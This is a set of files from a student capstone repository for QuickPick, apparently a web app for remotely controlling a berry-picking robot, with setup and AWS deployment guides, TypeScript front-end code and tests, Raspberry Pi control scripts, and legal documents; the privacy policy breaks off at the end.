"CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "# Front End Environment\n\n\n## Fully Docker Dev Setup\n### Things to Install\n#### Docker\nGo to [docker.io](docker.io) and download the appropriate form of docker for your machine. \nIf you have a windows computer, you may need to install Docker Toolbox instead. \n##### Docker Toolbox Install for Windows instructions\nGo to [Docker Toolbox](https://www.docker.com/products/docker-toolbox) and download the appropriate package for your machine.\nOnce downloaded, run `DockerToolbox.exe`. Click Next and you should see a list of components to select to install including:\n\n* Docker Compose for Windows\n* Virtual Box\n* Kitematic for Windows (Alpha)\n* Git for Windows\n\nMake sure *Docker Compose for Windows* and *Kitematic for Windows (Alpha)* are selected. If you don't have Git or VirtualBox, go ahead and select these options as well. Click next and finish stepping through the installation instructions.\n\n#### Git\nInstall a git executable based on your system.\n##### Linux / OSX\nUse your systems package manager (brew, apt, pacman, yum) to install git \n##### Windows\nDownload git from [https://git-scm.com/](https://git-scm.com/)\n\n### Steps\n\n1. Open a command prompt or terminal and navigate to the directory you would like to store the project in. \n2. clone the repository with the following command \n`git clone https://github.com/CPSECapstone/QuickPick.git`\n3. Download and open IntelliJ Idea IDE.\n4. Navigate to \"Preferences\", \"Plugins\", \"Browse Repositories\".\n5. In the search bar type \"Docker\" and install Docker Integration.\n6. Open Docker.\n7. Navigate to \"Run\", \"Edit Configurations...\", and click on the `Front End Docker Container`.\n8. Next to Server, click the \"...\" and then click the \"+\" to add a new Docker Environment.\n9. After you have configured your Docker environment, return to the \"Edit Configurations\" screen and select that Docker Environment under \"Server\". \n10. Click \"apply\" and then \"okay\".\n11. Navigate to \"Run\", \"Run 'Front End Docker Container'\".\n12. The website should now be hosted on your docker container. If on Windows use Kitematic to view the currently running docker containers, on Mac navgiate to `0.0.0.0:8080`.\n\n## Non Docker setup\n_Note that all tests are run in the docker environment, \nso while this build will be faster, the docker build is the final \"it works\"_\n\n* Install Java 8 JDK from [www.oracle.com](http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html)\n* Install NodeJS version 8.9\n* Install IntelliJ Idea IDE Ultimate\n * Navigate to \"Preferences\", then \"Languages and Frameworks\", then \"Node\". Ensure that the node interpreter is pointing to your Node install.\n * From the terminal, run npm install.\n * Navigate to \"Preferences\", then \"Languages and Frameworks\", then \"TypeScript\", then \"TSLint\". Ensure it is enabled and is pointing to your tslint package in node_modules. Ensure \"Search for tslint.json\" is checked.\n * Navigate to \"Run\", \"Run...\", then \"webpack\". Webpack will be launched and you can access the website at `0.0.0.0:8080`.\n \n" }, { "alpha_fraction": 0.4285714328289032, "alphanum_fraction": 0.4285714328289032, "avg_line_length": 16.793651580810547, "blob_id": "5ede27ff827f1b8a95fe999464ca5b4607e3b644", "content_id": "e4742b4b17eaa4cdad5c2d983ba26a979f438a4d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 1120, "license_type": "no_license", "max_line_length": 50, "num_lines": 63, "path": "/frontEnd/src/js/models/PickingControls.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "export interface IPickingControl {\n key: string,\n description: string,\n command: string\n}\n\nexport const PickingControls:IPickingControl[] = [\n {\n key: 'w',\n description: 'Up',\n command: 'up'\n },\n {\n key: 's',\n description: 'Down',\n command: 'down'\n },\n {\n key: 'a',\n description: 'Left',\n command: 'left'\n },\n {\n key: 'd',\n description: 'Right',\n command: 'right'\n },\n {\n key: 't',\n description: 'Pivot Up',\n command: 'pivotUp'\n },\n {\n key: 'g',\n description: 'Pivot Down',\n command: 'pivotDown'\n },\n {\n key: 'r',\n description: 'Extend',\n command: 'extend'\n },\n {\n key: 'f',\n description: 'Retract',\n command: 'retract'\n },\n {\n key: 'q',\n description: 'Open',\n command: 'open'\n },\n {\n key: 'e',\n description: 'Close',\n command: 'close'\n },\n {\n key: 'p',\n description: 'Take Picture',\n command: 'takePicture'\n },\n];" }, { "alpha_fraction": 0.7632120847702026, "alphanum_fraction": 0.7680164575576782, "avg_line_length": 12.876190185546875, "blob_id": "9f71bfa312b23e84ac0f8e149e5886dfe01c24b2", "content_id": "5d27871a89530eab818b36702114700f9aa98794", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1457, "license_type": "no_license", "max_line_length": 39, "num_lines": 105, "path": "/frontEnd/FrontEndDependencyTOS.md", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "@types/bootstrap: MIT License\n\n@types/googlemaps: MIT License\n\n@types/markerclustererplus: MIT License\n\n@types/node: MIT License\n\n@types/react: MIT License\n\n@types/react-bootstrap: MIT License\n\n@types/react-dom: MIT License\n\n@types/react-router: MIT License\n\n@types/react-router-dom: MIT License\n\n@types/react-tooltip: MIT License\n\naws-iot-device-sdk: MIT License\n\naws-sdk: MIT License\n\nbootstrap: MIT License\n\nbrowser-cookies: Unlicense\n\njquery: MIT License\n\njwt-decode: MIT License\n\nmdbreact: MIT License\n\npopper.js: MIT License\n\nreact: MIT License\n\nreact-bootstrap: MIT License\n\nreact-crop: MIT License\n\nreact-dom: MIT License\n\nreact-fontawesome: MIT License\n\nreact-google-maps: MIT License\n\nreact-router: MIT License\n\nreact-router-dom: MIT License\n\nreact-scroll: MIT License\n\nreact-table: MIT License\n\nreact-tooltip: MIT License\n\nrequest: Apache 2.0\n\nrequest-promise: ISC\n\nsave: ISC \n\nws: MIT License\n\n@types/chai: MIT License\n\n@types/mocha: MIT License\n\nchai: MIT License\n\ncss-loader:\n\ndts-bundle: MIT License\n\ndts-webpack-plugin: MIT License\n\ndtsbundler-webpack-plugin: MIT License\n\neslint-config-react-tools: MIT License\n\neslint-plugin-jsx-a11y: MIT License\n\nfile-loader: MIT License\n\nhtml-webpack-plugin: MIT License\n\nimg-loader: MIT License\n\nmocha: MIT License\n\nreact-scripts-ts: BSD-3-Clause\n\nstyle-loader: MIT License\n\nts-node: MIT License\n\ntypescript: Apache-2.0\n\nurl-loader: MIT License\n\nwebpack: MIT License\n\nwebpack-dev-server: MIT License\n" }, { "alpha_fraction": 0.6546692848205566, "alphanum_fraction": 0.6546692848205566, "avg_line_length": 32.17741775512695, "blob_id": "9ab41eda0ea7c93b77506df060fb77ffb31270f6", "content_id": "9fd4bba21a7bbfb263f5b9f6e4a1f15e085eb490", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 2056, "license_type": "no_license", "max_line_length": 93, "num_lines": 62, "path": "/frontEnd/src/js/models/devices/DeviceController.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {IServerController} from '../ServerController';\nimport {IDevice} from \"./IDevice\";\n\nexport interface IDeviceController {\n getAll(): Promise<IDevice[]>;\n getDeviceById(id: number): Promise<IDevice>;\n claimDevice(device: IDevice): Promise<IDevice>;\n releaseDevice(identityId:string): void;\n claimNext(identityId:string): Promise<IDevice>;\n}\n\nexport class DeviceController implements IDeviceController {\n private server: IServerController;\n\n constructor(server: IServerController) {\n this.server = server;\n }\n\n /**\n * Fetches all devices from the backend\n * @return an array of devices\n */\n async getAll(): Promise<IDevice[]> {\n return await this.server.getRequest(\"api/devices\");\n }\n\n /**\n * Fetches a single device with the specified id from the backend\n * @param id the id of the device you want to claim\n * @return a device\n */\n async getDeviceById(id: number): Promise<IDevice> {\n return await this.server.getRequest(`api/devices/${id}`);\n }\n\n /**\n * Claims the device and updates multiple fields\n * @param device the device to claim as taken\n * @return the same device claimed by the current user\n */\n async claimDevice(device:IDevice): Promise<IDevice> {\n return await this.server.putRequest(`api/devices/${device.id}/claim`,{});\n }\n\n /**\n * Releases the specified device and marks it as available\n * @param device the device to be released\n * @return the same device but now available to be claimed again\n */\n async releaseDevice(identityId:string) {\n const device = await this.claimNext(identityId);\n await this.server.putRequest(`api/devices/${device.id}/release`,{value: identityId});\n }\n\n /**\n * Claims the next device available\n * @return the next available device\n */\n async claimNext(identityId:string): Promise<IDevice> {\n return await this.server.putRequest(\"api/devices/claimnext\",{value: identityId});\n }\n}" }, { "alpha_fraction": 0.5416666865348816, "alphanum_fraction": 0.5586419701576233, "avg_line_length": 28.5, "blob_id": "2bd23717d5b937b193fd9437b65bc923d1624368", "content_id": "538606c71710cf0dd6dafdefca7c147fd57b8cf5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 648, "license_type": "no_license", "max_line_length": 61, "num_lines": 22, "path": "/frontEnd/src/tests/password-validator-test.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {isValid} from '../js/models/users/PasswordValidator';\nimport { expect } from 'chai';\nimport 'mocha';\n\ndescribe('isValid function', () => {\n it('check valid password', () => {\n expect(isValid('1234ABCqwe')).to.be.true;\n });\n it('check incorrect length (too short)', () => {\n expect(isValid('123Aa')).to.be.false;\n });\n it('check missing number', () => {\n expect(isValid('ABCabcqwe')).to.be.false;\n });\n it('check missing uppercase', () => {\n expect(isValid('1234abc')).to.be.false;\n });\n it('check missing lowercase', () => {\n expect(isValid('1234ABC')).to.be.false;\n });\n\n});" }, { "alpha_fraction": 0.7321929335594177, "alphanum_fraction": 0.756870448589325, "avg_line_length": 39.98850631713867, "blob_id": "2000f368831467b5fd7f2242adb6f065f07663cb", "content_id": "893018e5b4904431aece66cdb731fc1dbd7159aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3566, "license_type": "no_license", "max_line_length": 219, "num_lines": 87, "path": "/docs/INSTALL.md", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "# Installation Guide\n\n### Prerequesits\n\n* git\n* unix based system\n* python (aws command line utility)\n* docker client and server\n* aws account\n\n### Instructions\n\n1. clone the repository from [github.com](https://github.com/CPSECapstone/Quickpick) \n\n#### AWS Deploy\n###### Docker Repository Creation\n1. Run the command `aws configure` from a terminal\n1. In the AWS console [aws.amazon.com](console.aws.amazon.com) select the region us-west-2\n1. In the AWS console, navigate to ECS (Elastic Container Service)\n1. Select repository\n1. Select 'Create Repository' \n1. Choose anything you like for the repository name, however remember it for later.\n1. Edit the manual-deploy.sh file, changing `quickpick` to your repository name from the last step.\n1. Run the script `manual-deploy.sh` (This uses docker to build the image sent to aws. We will deploy that image in the next step)\n###### User Group Creation\n1. Navigate to aws cognito \n1. Create a User Pool with default settings except create a client id without secret when prompted, insert\nthis into the application.properties file\n1. Create a Federated User pool with the User pool as the trusted authentication method \n1. (update the front end to include this?)\n\n###### Postgresql Database Creation\n1. Navigate to AWS RDS\n1. Create a new PostgreSQL DB\n1. For staging a db.t2.micro instance is enough\n1. Choose quickpick for the DB instance identifier\n1. Set a username and password to be put in the application.properties file in the Secrets Bucket section.\n\n###### Task Definition Creation\n1. Navigate to the 'Task Definitions' menu in aws ECS\n1. Create a new Task Definition\n1. Name the task whatever you would like.\n1. Input a hard limit for memory of 1024 MiB\n1. Input an image name of '<ACCOUNT-ID>.dkr.ecr.us-west-2.amazonaws.com/<RESPOSITORY-ID>:latest'\n1. Input a mapping from host port 80 to container port 8080 over tcp\n\n###### Secrets Bucket\n1. Create an S3 bucket to house the application secrets\n1. Store inside of it a file called application.properties based on the application.properties in the root of our github properties with blanks filled in from the other steps in this setup.\n1. update the file 'prod_run.sh' to have the bucket and file name you just made rather then quickpick-secrets/application.properties\n\n###### Cluster Creation\n1. Select the 'Cluster' option\n1. Select create cluster\n1. Select EC2 Linux + Networking\n1. Name the cluster whatever you want\n1. Select On-Demand Instance\n1. Select at least an t2.small instance\n1. Select 1 instance\n1. Select a secutity group that allows port 80 in\n1. Select a container role that has the permission to access S3 buckets (you can allow it access to only two buckets, one for pictures and one for secrets)\n\n### Additional Steps if you need SSL\n1. ssh into the EC2 Instance attached under your cluster\n1. Change the task definition to map 8080 to 8080\n1. Install nginx as a redirect from 80 -> 443 and a reverse proxy from 443 -> 8080 [https://docs.nginx.com/nginx/admin-guide/web-server/reverse-proxy/](https://docs.nginx.com/nginx/admin-guide/web-server/reverse-proxy/)\n1. Get a certificate from a trusted provider and install it under nginx by editing the nginx config file to include \na server block like this\n```\nserver {\n listen 443 ssl;\n\n server_name your.domain.com;\n\n ssl_certificate /path/to/fullchain.pem;\n ssl_certificate_key /path/to/privkey.pem;\n\n ssl_stapling on;\n ssl_stapling_verify on;\n\n access_log /var/log/nginx/sub.log combined;\n\n location / {\n proxy_pass http://localhost:8080;\n }\n}\n```\n" }, { "alpha_fraction": 0.6285894513130188, "alphanum_fraction": 0.6377406120300293, "avg_line_length": 35.022727966308594, "blob_id": "112dee29368f38e1db3c3e9f21db42f32946f047", "content_id": "0188b1a37672721349a4ae1a08bb62e0d5c9dc46", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 3169, "license_type": "no_license", "max_line_length": 91, "num_lines": 88, "path": "/frontEnd/src/js/models/devices/DeviceConnection.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {ILoginController} from '../users/LoginController';\nimport {IDeviceController} from \"./DeviceController\";\nimport {IDevice} from \"./IDevice\";\nimport {isNullOrUndefined} from \"util\";\n\nconst AWS = require('aws-sdk');\nconst awsIot = require('aws-iot-device-sdk');\n\nexport interface IDeviceConnection {\n connectDevice(setVideoUrl: (url: string) => void): Promise<any>;\n publishMessage(publisher, topic:string, message:string):void;\n disconnectDevice(client):void;\n}\n\nexport class DeviceConnection implements IDeviceConnection {\n\n private loginController:ILoginController;\n private deviceController:IDeviceController;\n\n constructor(loginController:ILoginController, deviceController: IDeviceController) {\n this.loginController = loginController;\n this.deviceController = deviceController;\n }\n\n async connectDevice(setVideoUrl: (url: string) => void):Promise<any> {\n if (!isNullOrUndefined(AWS.config.credentials)) {\n AWS.config.credentials.clearCachedId();\n }\n AWS.config.region = 'us-west-2';\n AWS.config.credentials = new AWS.CognitoIdentityCredentials({\n IdentityPoolId: 'us-west-2:db41e4ed-ddd0-4df4-a596-5fd521d260af',\n Logins: this.loginController.getIdToken()\n });\n await AWS.config.credentials.getPromise();\n const identityId:string = AWS.config.credentials.identityId;\n\n const device = await this.deviceController.claimNext(identityId);\n\n if (isNullOrUndefined(device)) {\n throw new Error('No devices found');\n }\n\n const options = {\n region: 'us-west-2',\n protocol: 'wss',\n accessKeyId: AWS.config.credentials.accessKeyId,\n secretKey: AWS.config.credentials.secretAccessKey,\n sessionToken: AWS.config.credentials.sessionToken,\n port: 443,\n host: 'a3dam0y9od060l.iot.us-west-2.amazonaws.com'\n };\n\n const client = awsIot.device(options);\n\n client.on('connect', () => {\n console.log(`Connected to ${device.thingName}`);\n client.subscribe(`${device.thingName}/video`);\n this.publishMessage(client, `${device.thingName}/getVideo`, 'Gimme the video');\n });\n\n client.on('message', (topic, payload) => {\n if (topic == `${device.thingName}/video`) {\n setVideoUrl(JSON.parse(payload.toString()).message);\n }\n });\n return {\n client: await client,\n device: device\n };\n }\n\n async publishMessage(client, topic:string, message:string) {\n const identityId:string = AWS.config.credentials.identityId;\n console.log(`published ${message} to ${topic}`)\n if (AWS.config.credentials.needsRefresh()) {\n await AWS.config.credentials.refreshPromise()\n }\n client.publish(topic, message);\n }\n\n async disconnectDevice(client) {\n if (!isNullOrUndefined(client)) {\n client.end();\n }\n const identityId:string = AWS.config.credentials.identityId;\n await this.deviceController.releaseDevice(identityId);\n }\n}" }, { "alpha_fraction": 0.7153109908103943, "alphanum_fraction": 0.7153109908103943, "avg_line_length": 25.1875, "blob_id": "fd191a49b4c41f216ea134d12fd112006fd2c263", "content_id": "a59a924ea922c780ebb4e32c4dce4dede94a2fa3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 418, "license_type": "no_license", "max_line_length": 43, "num_lines": 16, "path": "/frontEnd/src/js/models/farms/IFarm.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {IDevice} from \"../devices/IDevice\";\nimport {IUser} from \"../users/IUser\";\n\nexport interface IFarm {\n id?: number,\n name: string,\n address: string,\n managers?:IUser[],\n minIdentificationsToFinalize:number,\n minClassificationsToFinalize:number,\n minSimilarPointsToFinalize:number,\n allowPicking:boolean,\n allowIdentifying:boolean,\n allowClassifying:boolean,\n devices?:IDevice[]\n}" }, { "alpha_fraction": 0.671861469745636, "alphanum_fraction": 0.6761904954910278, "avg_line_length": 36.290321350097656, "blob_id": "de56db1883211d81fc58397338131c6e6977520f", "content_id": "0e94cf4ac404698671f99bdac5b9c45ddb510b5f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 1155, "license_type": "no_license", "max_line_length": 94, "num_lines": 31, "path": "/frontEnd/src/tests/classification-test.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {ClassificationController} from '../js/models/classification/ClassificationController';\nimport {expect} from 'chai';\nimport 'mocha';\nimport {MockCookies} from \"./mockedModels/mock-cookies\";\nimport {MockServerController} from \"./mockedModels/mock-ServerController\";\n\ndescribe('Classification Controller', () => {\n\n const cookies = new MockCookies();\n const serverController = new MockServerController(cookies, 'http://localhost:8080');\n const classificationController = new ClassificationController(serverController);\n\n describe('check getNextBerry', function() {\n it('should return next berry', () => {\n expect(classificationController.getNextBerry()).to.not.be.null;\n });\n });\n\n describe('check getBerryById', function() {\n it('should return berry with specified id', () => {\n expect(classificationController.getBerryById(1)).to.not.be.null;\n });\n });\n\n describe('check getAllClassifiedBerries', function() {\n it('should return array of berries', () => {\n expect(classificationController.getAllClassifiedBerries()).to.not.be.null;\n });\n });\n\n});" }, { "alpha_fraction": 0.5023923516273499, "alphanum_fraction": 0.5502392053604126, "avg_line_length": 21.717391967773438, "blob_id": "a26068f1396ec8eae4bd53a97e2c7468b0f8fc3c", "content_id": "9dd587165859e99517bf41ba231434fa926a16f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1045, "license_type": "no_license", "max_line_length": 73, "num_lines": 46, "path": "/pi/move.py", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import RPi.GPIO as GPIO\nimport os\nimport sys\nfrom time import sleep\n\ndef moveCommand(value):\n if(value == \"right\"):\n control(14,15,0)\n elif(value == \"left\"):\n control(14,15,1)\n elif(value == \"retract\"):\n control(23,24,0)\n elif(value == \"extend\"):\n control(23,24,1)\n elif(value == \"down\"):\n control(8,7,0)\n elif(value == \"up\"):\n control(8,7,1)\n elif(value == \"pivotUp\"):\n control(20,21,0)\n elif(value == \"pivotDown\"):\n control(20,21,1)\n elif(value == \"open\"):\n control(19,26,0)\n elif(value == \"close\"):\n control(19,26,1)\n else:\n print(\"Command '\" + str(value) + \"' not supported at this time\") \n return\n\ndef control(pwr, gnd, ctr):\n setPin(pwr, ctr)\n setPin(gnd, 0)\n sleep(.2)\n setPin(gnd, 1)\n return\n\ndef setPin(pin, ctr):\n GPIO.setwarnings(False)\n GPIO.setmode(GPIO.BCM)\n GPIO.setup(pin,GPIO.OUT)\n if(ctr == 1):\n GPIO.output(pin, GPIO.HIGH)\n else:\n GPIO.output(pin, GPIO.LOW)\n return\n" }, { "alpha_fraction": 0.6183205842971802, "alphanum_fraction": 0.6183205842971802, "avg_line_length": 22.176469802856445, "blob_id": "f6a71039dab6f217942f8d9d2d7b4000462aa28f", "content_id": "30c3406bc709c9fd77c9d83fc1e4dd26d2c65b07", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 393, "license_type": "no_license", "max_line_length": 71, "num_lines": 17, "path": "/frontEnd/src/tests/mockedModels/mock-cookies.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {IDataStorage} from '../../js/models/browser-data/IDataStorage';\n\nconst map = new Map<string, string>();\n\nexport class MockCookies implements IDataStorage {\n\n get(name:string) {\n return map.has(name) ? map.get(name) : null;\n }\n set(name:string, value:string, options?:any) {\n map.set(name, value);\n }\n erase(name:string) {\n map.delete(name);\n }\n\n}" }, { "alpha_fraction": 0.801948070526123, "alphanum_fraction": 0.8084415793418884, "avg_line_length": 29.799999237060547, "blob_id": "2b2cdb494f0b61fea8a16f65d7bdf91589f49f74", "content_id": "276d74dcefea68ecfde365fe2bcd67570af0c7a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 308, "license_type": "no_license", "max_line_length": 97, "num_lines": 10, "path": "/example_application.properties", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "jwt.secret={long string here}\nspring.jpa.hibernate.ddl-auto=update\nspring.datasource.url=jdbc:postgresql://quickpick.{db-name}.us-west-2.rds.amazonaws.com/quickpick\nspring.datasource.username=\nspring.datasource.password=\n\n\naws.sdk.s3.picturebucket=quickpick-pictures\naws.sdk.user-pool-id=\naws.sdk.client-id=\n" }, { "alpha_fraction": 0.6597937941551208, "alphanum_fraction": 0.7577319741249084, "avg_line_length": 37.79999923706055, "blob_id": "d55fe8b9f6bb33e63cee2e8c36eaff343d7c94a5", "content_id": "29f8365cca85429d6c61d0e0495a15ede67701fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 194, "license_type": "no_license", "max_line_length": 63, "num_lines": 5, "path": "/pi/editGeo.sh", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\nexiftool -overwrite_original -TagsFromFile pictures/OG.jpg ${1}\nexiftool -overwrite_original -GPSLongitude=\"14.273586\" ${1}\nexiftool -overwrite_original -GPSLatitude=\"50.860361\" ${1}\n" }, { "alpha_fraction": 0.7239436507225037, "alphanum_fraction": 0.7352112531661987, "avg_line_length": 24.35714340209961, "blob_id": "73e855bb23a49d4d487a8ce45bbff57bfaa90e89", "content_id": "da275f284640b503aa4376b5cc82f8a1d9b79fc7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 355, "license_type": "no_license", "max_line_length": 67, "num_lines": 14, "path": "/frontEnd/src/js/models/identification/IBerryInformation.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {IClassifiedBerry} from \"../classification/IClassification\";\n\nexport interface IBerryInformation {\n id:number;\n parentPicture:any;\n tipX:number;\n tipY:number;\n shoulder1X:number;\n shoulder1Y:number;\n shoulder2X:number;\n shoulder2Y:number;\n classifications:IClassifiedBerry[];\n finalClassification?:IClassifiedBerry;\n}\n" }, { "alpha_fraction": 0.6306818127632141, "alphanum_fraction": 0.6306818127632141, "avg_line_length": 21.0625, "blob_id": "68016b0bf236fd0a557a229d11d2c0578b749d32", "content_id": "5a2e08ae27ee66b871cf9fcae1626f90db74f6ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 352, "license_type": "no_license", "max_line_length": 50, "num_lines": 16, "path": "/frontEnd/src/js/models/browser-data/Cookies.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {IDataStorage} from './IDataStorage';\n\nvar cookies = require('browser-cookies');\n\nexport class Cookies implements IDataStorage {\n get(name:string) {\n return cookies.get(name);\n }\n set(name:string, value:string, options?:any) {\n cookies.set(name, value);\n }\n erase(name:string) {\n cookies.erase(name);\n }\n\n}" }, { "alpha_fraction": 0.7959550619125366, "alphanum_fraction": 0.7997753024101257, "avg_line_length": 74.40677642822266, "blob_id": "f8a51c8b6fb662a36c38dd404fdaa628bc6360b7", "content_id": "f7db5ebdc48d7f76bd35e6d3ad3cc2491b67cae7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4452, "license_type": "no_license", "max_line_length": 467, "num_lines": 59, "path": "/docs/EULA.md", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "## **QuickPick End-User License Agreement**\n\n**(Version 1.0)**\n\nLast updated: (4/18/2018)\n\nPLEASE READ THIS END-USER LICENSE AGREEMENT (\"AGREEMENT\") CAREFULLY BEFORE CLICKING THE \"I AGREE\" BUTTON, DOWNLOADING OR USING QuickPick (\"APPLICATION\").\n\n BY CLICKING THE \"I AGREE\" BUTTON, DOWNLOADING OR USING THE APPLICATION, YOU ARE AGREEING TO BE BOUND BY THE TERMS AND CONDITIONS OF THIS AGREEMENT.\n\nIF YOU DO NOT AGREE TO THE TERMS OF THIS AGREEMENT, DO NOT CLICK ON THE \"I AGREE\" BUTTON AND DO NOT DOWNLOAD OR USE THE APPLICATION.\n\n### **1. License**\n\nQuickPick grants you a revocable, non-exclusive, non-transferable, limited license to download, install and use the Application solely for your personal, non-commercial purposes strictly in accordance with the terms of this Agreement.\n\n### **2. Restrictions**\n\nYou agree not to, and you will not permit others to:\n\ni) License, sell, rent, lease, assign, distribute, publish, modify, transmit, host, outsource, reverse engineer, disclose or otherwise commercially exploit the Application or make the Application available to any third party.\n\nii) Use any unauthorized, illegal, counterfeit or modified hardware or software with our application.\n\niii) Use tools to bypass, disable or circumvent any system encryption, security or authentication mechanism.\n\niv) Reinstall earlier versions of the application (\"downgrading\").\n\nv) Obtain the QuickPick application in any manner other than through QuickPick’s authorized distribution methods.\n\nvi) Exploit QuickPick in any manner other than to use it in accordance to the accompanying documentation and with authorized software or hardware.\n\n### **3. Modifications to Application**\n\nQuickPick reserves the right to modify, suspend or discontinue, temporarily or permanently, the application or any service to which it connects, with or without notice and without liability to you.\n\nModifications, updates or upgrades to the application may include new security measures, new technology or revised settings and features that may prevent access to unauthorized or pirated content or prevent use of unauthorized hardware or software. These modifications, updates and upgrades may have effects on the functionality of your system, and QuickPick is not responsible to you for any such effects or any harm caused by the installation process. \n\nYou must install or have installed the most current version of QuickPick as soon as you reasonably can. Some Modifications, updates or upgrades may change your current settings, cause a loss of data or content or cause functionality or feature loss. QuickPick recommends that you regularly back up all data that you can.\n\n### **4. Violation of Agreement and Termination**\n\nThis Agreement shall remain in effect until terminated by you or QuickPick. \n\nQuickPick may, in its sole discretion, at any time and for any or no reason, suspend or terminate this Agreement with or without prior notice.\n\nThis Agreement will terminate immediately, without prior notice from QuickPick, in the event that you fail to comply with any provision of this Agreement. You may also terminate this Agreement by deleting the Application and all copies thereof from your device.\n\nUpon termination of this Agreement, you shall cease all use of the application and delete all copies of the application from your device\n\n### **5. Warranty Disclaimer And Limitation of Liability**\n\nQuickPick is provided \"AS IS\" without any express or implied warranties. QuickPick, its affiliated companies and licensors expressly disclaim any implied warranty of merchantability, warranty of fitness for a particular purpose and warranty of non-infringement.\n\nIN NO EVENT ARE QUICKPICK, ITS AFFILIATES AND LICENSORS LIABLE FOR ANY LOSS OF DATA, LOSS OF PROFIT, OR ANY LOSS OR DAMAGE, WHETHER DIRECT, INDIRECT, INCIDENTAL, SPECIAL OR CONSEQUENTIAL, HOWEVER ARISING, AS A RESULT OF ACCESSING OR USING SYSTEM SOFTWARE. SO LONG AS THIS PROVISION IS ENFORCEABLE IN YOUR JURISDICTION, THE FOREGOING LIMITATION, EXCLUSIONS AND DISCLAIMERS APPLY TO THE FULLEST EXTENT PERMITTED BY LAW EVEN IF ANY REMEDY FAILS OF ITS ESSENTIAL PURPOSE.\n\n### **6. Amendments to this Agreement**\n\nQuickPick reserves the right, at its sole discretion, to modify or replace this Agreement at any time. If a revision is material we will provide at least 10 days' notice prior to any new terms taking effect. What constitutes a material change will be determined at our sole discretion.\n\n" }, { "alpha_fraction": 0.716312050819397, "alphanum_fraction": 0.716312050819397, "avg_line_length": 34.5, "blob_id": "215fec710e52bf2230744e5511a786d479ab913e", "content_id": "cf4cec9a0da8a14805381d1ab000b0bfd7262d00", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 141, "license_type": "no_license", "max_line_length": 48, "num_lines": 4, "path": "/frontEnd/src/js/models/users/EmailValidator.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "export function emailIsValid(email):boolean {\n const emailValidationRegex = /\\S+@\\S+\\.\\S+/;\n return emailValidationRegex.test(email);\n}" }, { "alpha_fraction": 0.48984771966934204, "alphanum_fraction": 0.700507640838623, "avg_line_length": 16.130434036254883, "blob_id": "e2494b917e6aa3eb430df6cc704d709843a94cec", "content_id": "a2fa090271d713856a69f0d818d10a8f2d35a29a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 394, "license_type": "no_license", "max_line_length": 34, "num_lines": 23, "path": "/pi/simulateRobot/requirements.txt", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "astroid==1.6.3\nbackports.functools-lru-cache==1.5\nboto3==1.7.4\nbotocore==1.10.4\ncertifi==2018.4.16\nchardet==3.0.4\nconfigparser==3.5.0\ndocutils==0.14\nenum34==1.1.6\nfutures==3.2.0\nidna==2.6\nisort==4.3.4\njmespath==0.9.3\nlazy-object-proxy==1.3.1\nmccabe==0.6.1\npylint==1.8.4\npython-dateutil==2.6.1\nrequests==2.18.4\ns3transfer==0.1.13\nsingledispatch==3.4.0.3\nsix==1.11.0\nurllib3==1.22\nwrapt==1.10.11\n" }, { "alpha_fraction": 0.7874348163604736, "alphanum_fraction": 0.7890489101409912, "avg_line_length": 75.69523620605469, "blob_id": "307e46caacbd757a67e8d3180c577d5582f4fd3a", "content_id": "bc38060a26e82a6fa70290c94ed67493ecadae03", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 8082, "license_type": "no_license", "max_line_length": 453, "num_lines": 105, "path": "/docs/Privacy_Policy.md", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "## Introduction\n\nOur privacy policy will help you understand what information we collect at Quick Pick, how Quick Pick uses it, and what choices you have.\n\nWhen we talk about \"Quick Pick,\" “we,” “our,” 